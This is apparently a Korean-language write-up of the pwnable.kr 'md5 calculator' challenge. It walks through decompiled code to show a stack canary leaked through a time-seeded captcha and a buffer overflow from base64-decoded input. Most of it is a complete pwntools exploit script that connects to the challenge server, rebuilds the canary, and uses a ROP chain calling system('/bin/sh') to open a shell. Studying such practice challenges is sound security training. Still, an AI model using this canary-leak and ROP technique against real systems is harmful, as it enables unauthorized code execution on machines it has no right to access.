pwnable.kr - md5 calculator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v5; // [esp+18h] [ebp-8h]
int v6; // [esp+1Ch] [ebp-4h]

setvbuf(stdout, 0, 1, 0);
setvbuf(stdin, 0, 1, 0);
puts("- Welcome to the free MD5 calculating service -");
v3 = time(0);
srand(v3);
v6 = my_hash();
printf("Are you human? input captcha : %d\n", v6);
__isoc99_scanf("%d", &v5);
if ( v6 != v5 )
{
puts("wrong captcha!");
exit(0);
}
puts("Welcome! you are authenticated.");
puts("Encode your data with BASE64 then paste me!");
process_hash();
puts("Thank you for using our service.");
system("echo `date` >> log");
return 0;
}

main 함수에서 srand(time(null))을 해준 뒤 my_hash함수를 통해서 captcha값을 생성 하는것을 볼 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned int my_hash()
{
int i; // [esp+0h] [ebp-38h]
char v2[4]; // [esp+Ch] [ebp-2Ch]
int v3; // [esp+10h] [ebp-28h]
int v4; // [esp+14h] [ebp-24h]
int v5; // [esp+18h] [ebp-20h]
int v6; // [esp+1Ch] [ebp-1Ch]
int v7; // [esp+20h] [ebp-18h]
int v8; // [esp+24h] [ebp-14h]
int v9; // [esp+28h] [ebp-10h]
unsigned int v10; // [esp+2Ch] [ebp-Ch]

v10 = __readgsdword(0x14u);
for ( i = 0; i <= 7; ++i )
*(_DWORD *)&v2[4 * i] = rand();
return v6 - v8 + v9 + v10 + v4 - v5 + v3 + v7;
}

my_hash함수에서는 canary값을 captcha연산에 사용하는것을 볼 수 있다.

srand로 설정하는 시드값이 time(null)이므로, 클라이언트와 서버가 동일한 시간에 srand를 설정하면, rand()값도 동일하게 되어, captcha값을 알아낼 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned int process_hash()
{
int v1; // [esp+14h] [ebp-214h]
char *ptr; // [esp+18h] [ebp-210h]
char v3[512]; // [esp+1Ch] [ebp-20Ch]
unsigned int v4; // [esp+21Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
memset(v3, 0, sizeof(v3));
while ( getchar() != 10 )
;
memset(g_buf, 0, sizeof(g_buf));
fgets(g_buf, 1024, stdin);
memset(v3, 0, sizeof(v3));
v1 = Base64Decode(g_buf, v3);
ptr = (char *)calc_md5(v3, v1);
printf("MD5(data) : %s\n", ptr);
free(ptr);
return __readgsdword(0x14u) ^ v4;
}

오버플로우는 입력받는 크기의 값을 base64 decode 한값이 512byte보다 크면 발생한다.

함수끝내는 프롤로그가 pop-pop-ret인것을 유의하여 payload를 구성한다.

NX, ASLR이 걸려있으므로 bss영역에 /bin/shsnprintf로 복사 한 뒤 system@plt를 호출 해주었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from base64 import b64encode
from ctypes import CDLL

def get_canary(captcha):
libc.srand(libc.time(0)) # srand(time(null))
libc.rand()
a = [libc.rand() for i in range(7)]
canary = captcha - (a[0] + a[1] - a[2] + a[3] + a[4] - a[5] + a[6])
canary = canary & 0xffffffff
return canary

elf = ELF('./hash')
libc = CDLL("libc.so.6")

r = remote('pwnable.kr', 9002)
print r.recvuntil(' : ')
captcha = int(r.recvline())
print captcha

r.sendline(str(captcha)) #captcha send

canary = get_canary(captcha)
rop = ROP(elf)
rop.raw('A' * 512)
rop.raw(canary) # Canary
rop.raw(0) # SSP
rop.raw(0) # pop
rop.raw(0) # pop

binsh = '/bin/sh\x00'
for i in range(len(binsh)):
rop.snprintf(elf.bss() + i, 2, next(elf.search(binsh[i])))

rop.system(elf.bss())

r.sendline(b64encode(rop.chain()))

r.interactive()
Share